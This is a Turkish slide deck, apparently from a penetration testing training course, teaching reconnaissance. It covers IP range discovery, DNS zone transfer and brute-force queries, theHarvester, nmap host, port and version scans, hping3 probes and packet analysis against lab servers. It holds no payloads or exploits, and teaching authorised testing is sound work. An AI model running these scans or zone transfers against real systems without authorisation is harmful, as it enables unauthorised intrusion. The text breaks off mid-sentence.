SlideShare una empresa de Scribd logo
1 de 241
blog.btrisk.com @btrisk /btrisktv /btrisk
UYGULAMALI
SIZMA TESTİ
EĞİTİMİ-2
BTRİSK HAKKINDA
TANIŞMA
Pentest & BT Denetimi
ISO27001 Danışmanlık
Hizmetleri
BG Operasyon
Hizmetleri
BİLGİ
TOPLAMA
İÇERİK
• Hedef IP Aralığı Tespiti
• Canlı Sunucu Tespiti
• Port Tarama
• Servis ve İşletim Sistemi Tespiti
• Kullanıcı Tespiti
HEDEF IP ARALIĞI TESPİTİ
IP Aralıkları Tespit Yöntemleri
Eğer hedef kurumun IP adreslerini tespit etmek durumundaysak
izleyebileceğimiz yöntemler aşağıdaki gibidir (bu yöntemler
sırayla kullanılmak durumunda değildir, bir adımda elde edilen
bilgiler diğer bir adımda tekrar sorgulama yapmak için
kullanılabilir):
• 1.Adım: Internet adres otoritelerinin sorgulama imkanlarını
kullanmak
• 2.Adım: Hedef kuruma ait olabilecek sunucu alan adları ve IP
adreslerini çeşitli yöntemlerle tespit etmek ve (bu bilgileri
kullanarak) IP Whois sorgulamaları
HEDEF IP ARALIĞI TESPİTİ
Dünya İnternet Adres
Otoriteleri
IANA – Internet Assigned Numbers
Authority
AFRINIC (Afrika)
APNIC (Asya Pasifik)
ARIN (Kuzey Amerika)
LACNIC (Latin Amerika)
RIPE NCC (Avrupa, Orta Asya, Orta
Doğu)
HEDEF IP ARALIĞI TESPİTİ
Türkiye'nin dahil olduğu
coğrafyadan sorumlu
otorite
RIPE NCC
HEDEF IP ARALIĞI TESPİTİ
Internet üzerinde iletişim kurmak için ihtiyacınız olacak IP
adresini iki şekilde alabilirsiniz:
• Birinci yol olarak bir barındırma hizmeti firmasının veya
abonesi olduğunuz bir ISP (İnternet Servis Sağlayıcı - İSS)
firmasının size sabit olarak veya dinamik olarak atayacağı bir
IP adresini kullanmaktır. Dinamik olarak IP adresinin
atanmasından kasıt cihaz veya sunucunuzu her yeniden
başlatışınızda müsait olan bir IP adresinin size atanması, statik
olarak atanmasından kasıt ise cihaz veya sunucunuzu tekrar
başlatsanız da aynı IP adresini kullanmaya devam etmenizdir.
• İkinci yol ise sizin bölgesel internet adres otoritesinden kendi
adınıza ayırtmış olduğunuz IP adresleri veya IP adres
aralığından bir adresi sunucunuza atamanızdır.
HEDEF IP ARALIĞI TESPİTİ
TESPİTİ ZOR IP ADRES ARALIKLARI
Eğer kurum bir ISP kuruma ait bir IP aralığını kullanıyor, ancak
hali hazırda bu aralıkta bulunan sunuculardan herhangi bir HTTP
servisi vermiyor veya bu IP adresleri ile ilgili herhangi bir DNS
kaydı tanımlamamışsa bu aralığı bulmak pek mümkün değildir.
Çünkü IP aralığı tespit yöntemlerimiz kurumun adının internet
otoritelerinin veritabanlarında geçiyor olmasına (ki ISP IP
aralığının kullanılması durumunda bu mümkün olmayacaktır),
verdiği HTTP servisleri ve bu servisleri verdiği sunucuların alan
adları içinde kurum adının geçiyor olmasına, veya yapacağımız
forward, zone transfer ve bruteforce DNS sorgularında bu IP
adreslerinin görünmesi üzerine kuruludur. Bu açılardan hiçbir iz
bırakılmamışsa bizim bu IP aralığını tespit etmemiz zordur. (ör:
FKM sistemlerinin IP adresleri)
HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
IP Whois Araçlarını Kullanmak
# dmitry 193.186.4
dmitry v.b. araçlarla internet
adres otoritelerinin sunduğu ip
whois servisleri belirli adresler
için sorgulanarak bu adreslerin
hangi aralıkta olduğu ve bu
aralıkların sahipliğine ilişkin
bilgi edinebiliriz
HEDEF IP ARALIĞI TESPİTİ
dmitry projesi
iwhois.h
dmitry projesi
iwhois.c
IP Whois Araçlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ
• Kurumunuzun sahibi olduğu IP aralıklarını adres otoritelerinin
sağladığı imkanlardan faydalanarak tespit ediniz.
• Elde ettiğiniz yanıtlarda sosyal mühendislik saldırılarında
kullanılabilecek nitelikte bir bilgi var mı?
HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti
Bing
domain:btrisk.com
HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti
Google
site:btrisk.com -site:www.btrisk.com
HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
HEDEF IP ARALIĞI TESPİTİ
Kali
# host -a btrisk.com
DNS Sorguları (Type ANY sorgusu)
Type ANY sorgularında
• Sorgulanan alan adının A
(Address) tipindeki kaydı
• MX (Mail eXchange)
sunucu kayıtları
• NS (Name Server) sunucu
kayıtları döner
HEDEF IP ARALIĞI TESPİTİ
Windows
(nslookup) > set type=all
DNS Sorguları (Type ANY sorgusu)
HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ
• "host" komutu ile belli bir alan adı için yaptığınız bir DNS
sorgusunu Wireshark ile inceleyiniz. Sorgulanan kaydın tipi
nedir?
• "host" komutunun neticesinde sorgunun iletildiği sunucu IP
adresi nedir?
• DNS sorgunuzu 4.4.4.4 IP adresine iletecek komut değişikliğini
yapınız.
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
# dig axfr alanadi @dnssunucusu
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
HEDEF IP ARALIĞI TESPİTİ
DNS Bruteforce Sorguları
HEDEF IP ARALIĞI TESPİTİ
# dnsrecon -d google.com -D /usr/share/golismero/wordlist/dns/dnsrecon.txt -t brt
DNS Bruteforce Sorguları
dnsrecon aracının CNAME, A ve
AAAA (IPv6) tipinde sorgular
yaptığı görülüyor
HEDEF IP ARALIĞI TESPİTİ
DNS Reverse IP (PTR tipi) Sorguları
# dnsrecon -r 31.210.54.1-31.210.54.254
HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester
# theharvester -d btrisk.com -b google -l 100 -h
HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester
The Harvester aracının arama
motorlarından web sunucusu,
e-posta adresi sorguladığı,
Shodan veritabanından
sorgulama yaptığı görülüyor
CANLI SUNUCU TESPİTİ
• Halka açık kaynaklardan IP aralıkları, alan adları ve
DNS kayıtlarını elde ettikten veya sızma testi
muhatabı tarafından belirli bir IP aralığı verildikten
sonra sıra bu aralıkta aktif olabilecek sunucuların
tespitine gelir.
• Burada hedef aralığın genişliği ve kurumun güvenlik
ihtiyaçlarının düzeyi yapılacak taramaların
yoğunluğu ile ilgili bize yön gösterecektir.
• Bu noktadan sonra hedef ağ ile doğrudan etkileşim
artarak başlayacaktır. Bu nedenle stratejimiz en az
trafik doğuracak işlemlerden başlayarak ilerlemek
olacaktır.
CANLI SUNUCU TESPİTİ
TEMEL TCP / IP BİLGİSİ
TCP / IP paketine baktığımızda kabaca 5 katman vardır (OSI modeli ve
bunların TCP/IP ile ilişkilendirilmesine girmeyeceğiz):
• Fiziksel katman: Paketin tamamını ifade eder, incelememiz açısından bir
önemi bulunmamaktadır.
• Veri bağlantı katmanı (data link layer): Paketin yerel ağda iletimi için
önemli başlık alanıdır. MAC adreslerinin esas alındığı bir katmandır. Yerel
alan saldırıları açısından bilinmesi önemlidir, ancak bu noktada
derinlemesine değinmeyeceğiz.
• Ağ katmanı (network layer): İncelememiz açısından önemli olup IP
adreslerinin paket iletiminde önem kazandığı katmandır. Bu adresler
özellikle paketler yerel ağdan çıktığı durumlarda önemlidir, zira veri
bağlantı katmanı yerel ağdan çıkıldığında paketten sıyrılır ve sonraki LAN
veya WAN protokollerine uygun olarak farklı ceketlere sahip olarak
hedefine doğru yoluna devam eder.
CANLI SUNUCU TESPİTİ
TEMEL TCP / IP BİLGİSİ (devamı)
• Taşıma katmanı (transport layer): Bu katman kabaca iletilen paketlerin
üzerinde seyahat ettiği hattın ihtiyaçlarına bağlı olarak veya farklı
paketlerin farklı sıralarda hedefe ulaşabileceği gerçeği nedeniyle
paketlerin doğru sırada ve tam olarak karşı tarafa iletilmesinden sorumlu
ağ protokol katmanıdır. Ancak TCP ve UDP için anlamlı olan bu tanım ICMP
için pek bir anlam ifade etmeyecektir. Bu nedenle her ağ protokolünün
tüm bu katmanlara karşılık gelmesini beklememek gereklidir. Bu gerçek
OSI teorik modeli için daha da doğrudur, çünkü TCP/IP paketlerini 7
katmandan oluşan bu modelle eşleştirmek daha da zordur.
• Uygulama katmanı (application layer): Bu katman da daha çok TCP ve
UDP protokolleri ile daha iyi anlam bulan bir katmandır. İletilen paketin
içinde uygulama seviyesinde anlam kazanan verilerin bulunduğu
bölümdür. Taşıma ve Uygulama katmanlarına örnekleri bir HTTP paketi ve
bir DNS paketi içinde inceleyeceğiz.
CANLI SUNUCU TESPİTİ
Yerel ağ'da MAC adresi ile iletişim kurulur.
IP paketini gönderen istemci ya bu IP adresinin
sahibini sorgular ya da mevcutsa ARP cache'inde
bulunan MAC adresini kullanır.
Gönderilen paketin içinde hedef IP adresi vardır,
ancak Layer 2 cihazlar (switch'ler) MAC adresini
esas alarak yönlendirme yapar.
ARP Poisoning ile araya girme yöntemi bu tasarım
özelliğini kullanır.
HTTP Paket Örneği (Veri Bağlantı Katmanı)
IPv4
CANLI SUNUCU TESPİTİ
Güvenlik açısından önemli IP başlık
alanları:
• Kaynak ve hedef IP adresleri
• Time to live alanı
• Flags, Fragment Offset ve
Identification alanları
• Source Routing option alanları
HTTP Paket Örneği (Ağ Katmanı)
CANLI SUNUCU TESPİTİ
Güvenlik açısından önemli TCP
başlık alanları:
• Kaynak ve hedef port
numaraları:
• Flags alanı
• TCP Sequence ve
Acknowledgement sıra
numaraları
HTTP Paket Örneği (Taşıma Katmanı)
CANLI SUNUCU TESPİTİ
HTTP Paket Örneği (Uygulama Katmanı)
Wireshark bu paketin
uygulama katmanında HTTP
protokolünün taşındığını nasıl
anlamış olabilir?..
CANLI SUNUCU TESPİTİ
EGZERSİZ
• Kali üzerinde "python –m SimpleHTTPServer 500" komutu ile
TCP 500 portundan dinleyen basit bir HTTP sunucusunu
başlatınız
• Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye
başlayınız
• Host bilgisayarınızdan browser ile Kali bilgisayarınızın TCP 500
portuna bağlanınız
(ör: http://192.168.163.128:500 şeklinde)
• Wireshark'ın TCP 500 portu ile yapılan iletişimi HTTP protokolü
olarak yorumlamasını sağlayınız
İPUCU: Wireshark'ın "Decode As" özelliğini kullanınız
CANLI SUNUCU TESPİTİ
DNS Paket Örneği (Taşıma Katmanı)
CANLI SUNUCU TESPİTİ
DNS Paket Örneği (Uygulama Katmanı)
CANLI SUNUCU TESPİTİ
ICMP Paket Örneği (Ağ Katmanı)
ICMP'nin IP
protokol
numarası "1"
CANLI SUNUCU TESPİTİ
ICMP Paket Örneği
ICMP için bir port kavramı
bulunmamaktadır
ICMP paketlerinin türünü Type
ve Code alanları belirler
CANLI SUNUCU TESPİTİ
EGZERSİZ
• Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye
başlayınız
• Kali'den host (Windows) bilgisayarınıza doğru "ping" komutunu
çalıştırınız
• Host (Windows) bilgisayarınızdan Kali'ye doğru "ping" komutunu
çalıştırınız
• Her iki istek arasındaki farkları Wireshark'tan
inceleyiniz
CANLI SUNUCU TESPİTİ
"nmap" opsiyonlarının anlamları
-sn (port tarama yapma)
-PE (Echo Request)
-PP (Timestamp)
-PM (Address Mask Request)
ICMP Tarama
# nmap -sn -PE -PP -PM 192.168.165.0/24
CANLI SUNUCU TESPİTİ
Lokal Subnet'te Sunucu Tespiti
Nmap'in lokal ağda sunucu
tespitinde ilk olarak izlemeyi tercih
ettiği yol bizim tarama
opsiyonlarımızdan farklı.
CANLI SUNUCU TESPİTİ
Lokal Subnet'te Sunucu Tespiti
Nmap'in ürettiği paketleri incelediğimizde biz ICMP
tarama yapmak istemiş olsak da nmap'in lokal ağda
öncelikle ARP request paketlerini kullandığını
görüyoruz.
Bu yöntem hedef sunucular açısından daha az şüphe
çekici bir yöntem. Ama yerel ağı dinleyen bir IDS için
ICMP taraması kadar bariz bir tarama işlemi.
CANLI SUNUCU TESPİTİ
İnternet'te sık rastlayabileceğiniz portlar
• HTTP (TCP 80)
• HTTPS (TCP 443)
• DNS (UDP 53, TCP 53)
• IPSEC (UDP 500 - IKE protokülü)
• SMTP (TCP 25)
• SSH (TCP 22)
• SIP (TCP/UDP 5060, 5061)
• FTP (TCP 21)
• TELNET (TCP 23)
• CHECKPOINT (TCP 264 - Topoloji servisi)
Sık Rastlanan Servis Portlarının Taranması
CANLI SUNUCU TESPİTİ
İntranet'te sık rastlayabileceğiniz portlar:
• NETBIOS over TCP – NBT ( (UDP 137 - Name servisi)
• SMB (TCP 139 – Dosya ve yazıcı paylaşımı için kullanılır)
• CIFS (TCP 445 – SMB’nin yerini alan Windows dosya paylaşım protokolü)
• RDP (TCP 3389)
• HTTP (TCP 80)
• HTTPS (TCP 443)
• HTTP PROXY (TCP 8080, TCP 3128 - Squid proxy servisi)
• SNMP (UDP 161)
• LDAP (TCP 389)
• FTP (TCP 21)
• TELNET (TCP 23)
• RPC (UDP 111)
• NFS (TCP 2049)
• MSSQL (TCP 1433)
• MySQL (TCP 3306)
• ORACLE (TCP 1521)
Sık Rastlanan Servis Portlarının Taranması
CANLI SUNUCU TESPİTİ
# nmap -sS -
p21,22,23,25,53,80,139,264,389,443,445,1433,1521,2049,3128,3306,3389,
5060,8080 192.168.163.129
Sık Rastlanan Servis Portlarının Taranması (TCP Tarama)
CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması (UDP Tarama)
# nmap -sU -p53,111,121,137,161,500,5060 192.168.163.129
CANLI SUNUCU TESPİTİ
Unique isimlerinden
<00> – Workstation adı,
Group isimlerinden
<00> – Workgroup, domain adı anlamına
gelir.
Ayrıca bazı Netbios suffix’leri sunucu üzerinde
çalışan servisler ve diğer bilgileri ifade eder
(örneğin Unique isimlerinden 20 - dosya
sunucusu olduğunu, Group isimlerinden 1C
domain controller olduğunu belirtir).
NetBIOS İsim Servisinin Taranması
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
NetBIOS taraması her zaman Windows
sunuculara ilişkin veri döndürmez.
Seyrek olsa da üzerinde Samba yüklü
olan Unix / Linux sunucular da bu
taramalarda görünür.
Kali üzerinde SMB erişimi
için gerekli Samba
paketleri zaten yüklü
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
NetBIOS name server'ın
başlatılması
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
Kali sunucusunun NetBIOS
taramasında görünmesi
CANLI SUNUCU TESPİTİ
EGZERSİZ
• Öğrendiğiniz canlı sunucu tespit etme yöntemlerini uygulayarak
LAB ortamındaki bilgisayarları tespit ediniz.
• Canlı sunucu tespiti sırasında edindiğiniz sunucu adı ve çok
kullanılan portlardan tespit ettiklerinizi not ediniz.
ÖNEMLİ: Bu aşamada vakit kaybı yaşamamak için Full (yani 1-
65535 arasındaki tüm portlar için) Port
Taraması yapmayınız.
PORT TARAMA
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost=> '0.0.0.0',
LocalPort=> '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!n";
print "TCP sunucu dinliyor ...n";
while(1) {
$client_socket = $socket->accept();
$peer_address = $client_socket->peerhost();
$peer_port = $client_socket->peerport();
print "Yeni baglanti : $peeraddress, $peerportn ";
while(1) {
$client_socket->recv($data,1024);
print "Istemciden alinan veri : $datan";
if ($data eq "selamn") {
$data = "Sana da selam...n";
$client_socket->send($data);
}
}
}
$socket->close();
TCP Servis Örneği
PORT TARAMA
TCP Servis Örneği
TCP servisimizi
başlatıyoruz
PORT TARAMA
TCP Servis Örneği
Kali'den TCP 5000
portundan dinleyen
servise bağlanıyoruz
PORT TARAMA
TCP Servis Örneği
Netcat ile TCP sunucusuna bağlandığımız anda
herhangi bir veri iletilmemiş olmasına rağmen
bir iletişim gerçekleşmiş.
Bu iletişim TCP protokolünün gereği olan TCP el
sıkışma (handshake) paketlerinden oluşuyor.
PORT TARAMA
TCP Servis Örneği
Paketler Fonksiyon StatüStatü Fonksiyon
SUNUCUİSTEMCİ
PORT TARAMA
TCP Servis Örneği
SYN paketi
İstemci sıra numarasını
üretiyor
PORT TARAMA
TCP Servis Örneği
Sadece SYN bayrağı işaretli
PORT TARAMA
TCP Servis Örneği
SYN, ACK paketi
Sunucu istemci'nin sıra
numarasını acknowledge
ediyor.
Yani istemcinin sıra
numarasına "1" ekleyerek
geri gönderiyor.
PORT TARAMA
TCP Servis Örneği
SYN, ACK paketi
Sunucu kendi sıra
numarasını üretiyor
PORT TARAMA
TCP Servis Örneği
SYN ve ACK bayrakları
işaretli
PORT TARAMA
TCP Servis Örneği
ACK paketi
İstemci sunucu'nun sıra
numarasını acknowledge
ediyor.
Yani sunucunun sıra
numarasına "1" ekleyerek
geri gönderiyor.
3. paketin iletimiyle birlikte
bağlantı kurulmuş oluyor
PORT TARAMA
TCP Servis Örneği
İstemci'den "hello" kelimesini sunucuya gönderiyoruz.
Ancak herhangi bir veri alamıyoruz. Bunun sebebi
sunucunun sadece "selam" kelimesine yanıt veriyor
olması.
Veri dönmese de TCP protokolünün gereği olarak
sunucudan bir ACK paketinin dönmüş olması lazım.
PORT TARAMA
TCP Servis Örneği
İstemciden giden paketteki
veri bölümü
PORT TARAMA
TCP Servis Örneği
Sunucu herhangi bir veri
döndürmemesine rağmen
istemciden aldığı 6 byte'lık
veriyi acknowledge ediyor
ve ACK sıra numarasını 6
artırıyor.
PORT TARAMA
TCP Servis Örneği
Bu defa istemci'den "selam" verisini gönderiyoruz.
Bir önceki istekten farklı olarak bu defa veri içeren bir
yanıt alıyoruz.
PORT TARAMA
TCP Servis Örneği
İstemciden giden paketteki
veri bölümü
PORT TARAMA
TCP Servis Örneği
Sunucudan dönen pakette
bulunan veri bölümü.
Bu paketle sunucu aynı
zamanda istemciden bir
önceki pakette gelen veri
miktarında ACK
numarasını da artırıyor.
PORT TARAMA
TCP Servis Örneği
İstemci sunucudan dönen
yanıtı aldığını teyit etmek
için ACK numarasını
sunucunun ilettiği veri
miktarı kadar artırarak
ACK paketini iletiyor.
PORT TARAMA
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$received_data);
$socket = new IO::Socket::INET (
LocalPort => '5000',
Proto => 'udp',
) or die "Soket olusturulamadi : $!n";
print "UDP sunucu dinliyor...n";
while(1) {
$socket->recv($received_data,1024);
print "Istemcidenalinan veri : $received_datan";
if ($received_data eq "selamn") {
$socket->send("Sana da selam...n");
}
}
$socket->close();
UDP Servis Örneği
Şimdi UDP iletişimini
analiz etmek üzere aynı
fonksiyonaliteyi bir UDP
servisi üzerinden
sağlayalım.
PORT TARAMA
UDP Servis Örneği
UDP servisimizi
başlatıyoruz
PORT TARAMA
UDP Servis Örneği
Yine Netcat ile karşıdaki
servise bağlantı kuruyoruz
Ancak bu defa karşıdaki
servis bir UDP servisi
# nc –u 192.168.1.149 5000
PORT TARAMA
UDP Servis Örneği
TCP bağlantısında bu
aşamada el sıkışma
paketleri iletilmişti.
UDP için böyle bir durum
söz konusu değil, yani
aslında sunucu henüz
istemcinin varlığının
farkında bile değil.
PORT TARAMA
UDP Servis Örneği
UDP servisine anlamadığı
bir istek gönderiyoruz.
Servisimiz sadece "selam"
isteğine yanıt veriyor.
Dolayısıyla herhangi bir
yanıt alamıyoruz.
PORT TARAMA
UDP Servis Örneği
Sunucunun isteği aldığını
görebiliyoruz
PORT TARAMA
UDP Servis Örneği
Bu iletişimde sadece bir
paket yer almış
Sunucu tamamen sessiz
kalmayı tercih etmiş
PORT TARAMA
UDP Servis Örneği
Bu defa sunucunun
anladığı dilden bir istek
gönderiyoruz.
Sunucu da bize bir yanıt
veriyor.
PORT TARAMA
UDP Servis Örneği
Sunucu sadece beklediği
bir istek geldiğinde yanıt
üretti.
TCP ve UDP SERVİSLERİ İNCELEMESİNİN SONUCU
• TCP ve UDP servislerinin davranışları içerik itibarıyla aynı
olmasına rağmen TCP servisi protokolün çalışma yöntemi
nedeniyle servisin doğru istek gönderilmese bile ifşa olmasına
neden olmaktadır.
• UDP servisi beklediği veri (payload) iletilmezse sessizliğini
korumaktadır. Bu davranış eğer firewall yok ise UDP portunun
açık olduğu anlamına gelmektedir. Ancak firewall var ise istek
paketinin DROP edildiği veya sunucudan dönecek olan ICMP
Port Unreachable paketinin filtrelendiği anlamına da gelir.
• Bu sebepten dolayı UDP taramalarındaki hız ve kesinlik
düşmektedir.
PORT TARAMA
PORT TARAMA
Kapalı TCP Portu Davranışı
# hping3 192.168.1.149 -V -c 1 -S -p 5001
"hping" ile kapalı olduğunu bildiğimiz bir TCP
portuna 1 adet SYN paketi gönderiyoruz
PORT TARAMA
Kapalı TCP Portu Davranışı
Sunucu kapalı bir TCP
portuna istek yapıldığında
RST, ACK yanıtı dönüyor
PORT TARAMA
Kapalı UDP Portu Davranışı
"hping" ile kapalı olduğunu bildiğimiz bir UDP
portuna 1 adet UDP paketi gönderiyoruz
UDP paketinin veri bölümü bulunmuyor
PORT TARAMA
Kapalı UDP Portu Davranışı
Kapalı bir UDP portuna
paket gönderildiğinde
sunucu ICMP Port
Unreachable paketi ile
istemciyi bilgilendiriyoruz
PORT TARAMA
Full TCP Port Tarama
Full tarama yapacağımız
sunucumuzun açık olan
servisleri yukarıdaki gibidir
PORT TARAMA
Full TCP Port Tarama
Tarama yapılacak olan sunucu üzerindeki
firewall kurallarını Flush ediyoruz ve
herhangi bir kural tanımlı olmadığından
emin olmak için kuralları listeliyoruz
PORT TARAMA
Tüm TCP portları için SYN taraması yapıyoruz.
SYN taraması istemci tarafından TCP handshake
tamamlanmadan son adımda iletişimin RST
paketi ile kesilmesi yöntemi ile yapılır.
El sıkışma işleminin tamamlandığı yönteme
Connect scan (-sT opsiyonuyla yapılır) adı
verilir.
Full TCP Port Tarama
Firewall aktifken tarama süresi
11,88 sn.
Her 2 TCP portumuzu da tespit
edebildik.
PORT TARAMA
Full TCP Port Tarama
Bu defa TCP port taramasından önce TCP
80 ve TCP 5000 portları dışındaki tüm
portlara yapılan istekleri DROP edecek
biçimde firewall kurallarını tanımlıyoruz.
PORT TARAMA
Firewall aktifken tarama süresi
115,68 sn.
Tarama sonuçları aynı olmasına rağmen
nmap'in işi 10 kata yakın süre daha fazla
sürdü. Bu fark nmap'in yanıt alamadığı
istekler için belli bir süre beklemesinden
kaynaklanıyor.
Full TCP Port Tarama
PORT TARAMA
Full port tarama yapmadığımız için
UDP 34841 portu tespit
edilememiş.
UDP 161 dışındaki portların da açık
olduğundan kesin olarak emin
olamamış.
UDP Port Tarama
Full UDP port tarama yapmadan önce
yine tüm firewall kurallarını kaldırdık.
UDP port taramada TCP taramadan
farklı olarak tüm portları taramadık.
Nmap öntanımlı olarak Top 1000 portu
tarıyor.
Sadece 1000 port taranmış olmasına
rağmen UDP taramasının süresi TCP
taramalarına göre çok daha uzun
sürdü.
PORT TARAMA
UDP Port Tarama
Bu defa UDP port taramasından önce aktif
olan UDP portları dışındaki tüm portlara
yapılan istekleri DROP edecek biçimde
firewall kurallarını tanımlıyoruz.
PORT TARAMA
Firewall aktifken kapalı UDP portları ile açık ancak beklediği girdiyi almadığında
yanıt üretmeyen UDP portları aynı biçimde davrandığından tüm bu portların
kapalı olduğuna kanaat getirdi.
Nmap'in SNMP protokolü (UDP 161) için hazır probe payload’u bulunduğundan
nmap bu portu net olarak açık şeklinde belirledi. Ancak diğerlerini gözden
kaçırdı.
UDP Port Tarama
Bu defa tarama süresi çok düştü.
Muhtemelen nmap yanıt vermeyen
portlar için bekleme süresini azalttı.
PORT TARAMA
Full UDP Port Tarama
Full UDP port tarama işlemi
firewall'suz top 1000 port tarama ile
yaklaşık aynı süre sürdü. Ancak SNMP
dışındaki tüm servisler gözden
kaçırıldı.
PORT TARAMA
EGZERSİZ
• Full TCP ve UDP taramalarından neden 1-65535 arasındaki
portlar taranmaktadır, üst limit neden 65535'dir?
• Canlı olduğunu tespit ettiğiniz "1" LAB sunucusu için full TCP ve
UDP taramalarını gerçekleştirin.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!n";
print "TCP sunucu dinliyor ...n";
while(1) {
$client_socket = $socket->accept();
my $data = "220 BTRisk FTP Sunucusuna Hoşgeldinizrn220 ProFTPD 1.3.5 Server (ProFTPD)";
$client_socket->send($data);
}
$socket->close();
Servis ve Versiyon Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Netcat ile servisimize TCP bağlantısı kurar
kurmaz bir banner ile karşılaşıyoruz
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Nmap TCP 5000 portundaki
servisimizin ProFTPD 1.3.5
olduğu sonucuna vardı
# nmap -Pn -sV -version-all -p1-65535 192.168.163.129
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
“-Pn”: Nmap normalde bir sunucuya yönelik port taraması yapmadan önce bir ping
paketi, buna yanıt alamazsa TCP 80 ve 443 portlarına birer paket gönderir. Böylece
sunucunun ayakta olup olmadığını anlamaya çalışır, eğer herhangi bir yanıt alamaz ise de
taramayı gerçekleştirmez. “-Pn” opsiyonu özellikle firewall arkasında bulunan ve mevcut
olduğunu düşündüğümüz veya çok kritik olabilecek sunucular için mutlaka kullanılması
gereken bir opsiyon, aksi takdirde port taramamız gerçekleşmeyecektir.
“-sV”: Bu opsiyon nmap’e sadece port tarama yapmamasını, aynı zamanda tespit ettiği
servislerin ne olduğuna yönelik inceleme de yapması gerektiğini belirtir. Bu seçenek
neticesinde nmap tespit edilen servislere UDP taramasında uyguladığı stratejiye benzer
şekilde bazı payload’lar gönderir. Bu payload’lar servisin tam olarak ne olduğunu anlama
konusunda bizi çok daha iyi aydınlatır.
“--version-all”: nmap’in normalde kendine göre uyguladığı bir optimizasyon var, buna
göre belirli payload’ları belirli portlara yönelik olarak gönderiyor. Bu opsiyonla nmap’e
tespit ettiğin portlar için elindeki tüm payload’ları kullan emrini veriyoruz. Elbette bu
yöntem çok daha fazla paket üretilmesine neden olacak, özellikle servis sayısı arttığında
bu durum katlanacak.
“-p1-65535”: Bu opsiyon bildiğiniz gibi full port taraması için kullandığımız opsiyon.
Servis ve Versiyon Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
msf > search type:exploit name:ProFTP
Eğer tespitimiz doğru olsaydı
bir sonraki adım servisle ilgili
açıklıkları aramak olacaktı
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Nmap'in servis tespiti için kullandığı
probe yöntem ve payload'ları
/usr/share/nmap/nmap-service-
probes dosyasında yer almaktadır
Bu probe yönteminde servise
herhangi bir payload
gönderilmemekte ve 6 saniye
beklenmektedir
TCP 9100-9107 arası portlar
yazıcılar tarafından
kullanıldığından nmap tarafından
kapsam dışında bırakılmıştır
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Buradaki regular expression’ı okursak:
• İlk satır satır başında 220 ile başlamak kaydı ile herhangi bir metin
• İkinci satır başında da yine “220 ProFTPD “ ile başlayan, devamında herhangi
bir word karakteri (yani küçük harf, büyük harf, rakam ve alt çizgi) veya alt çizgi
veya tire karakterlerinden en az bir adetten oluşan bir kelime, devamında da “
Server (ProFTPD)” ifadesini arıyor.
• İkinci satırda parantez işaretleri arasında bulunan kısım ise nmap tarafından
servisin versiyonu raporlanırken kullanılıyor ($1 bu eşleşmenin yerine geçiyor).
Servis ve Versiyon Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Service probes dosyasında yaklaşık
10.000 satır var
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Null probe dışında bir örnek vermek gerekirse HTTP servislerini tespit etmeye
yönelik bir probe örneği olarak bu örnek verilebilir, bir GET isteğinden sonra iki
enter’ı ifade eden bir probe sonrasında aşağıda gelen match ifadeleri bekleniyor.
Ancak port numaraları sınırlanmış. Bizim nmap taramamızda kullandığımız "--
version-all" opsiyonu bu sınırlandırmayı iptal ediyor.
Servis ve Versiyon Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim sistemi tahmininin gerekçeleri:
• Hedef sunucunun açıklık barındırıp barındırmadığının tahmini (örneğin rwho
servisi Solaris 7-9 arasında exploit edilebilirken Solaris 10’da bu açıklık
giderilmiştir).
• Exploit kodlarının çalışabilmesi için düzenlenmesi (açıklık barındıran bir
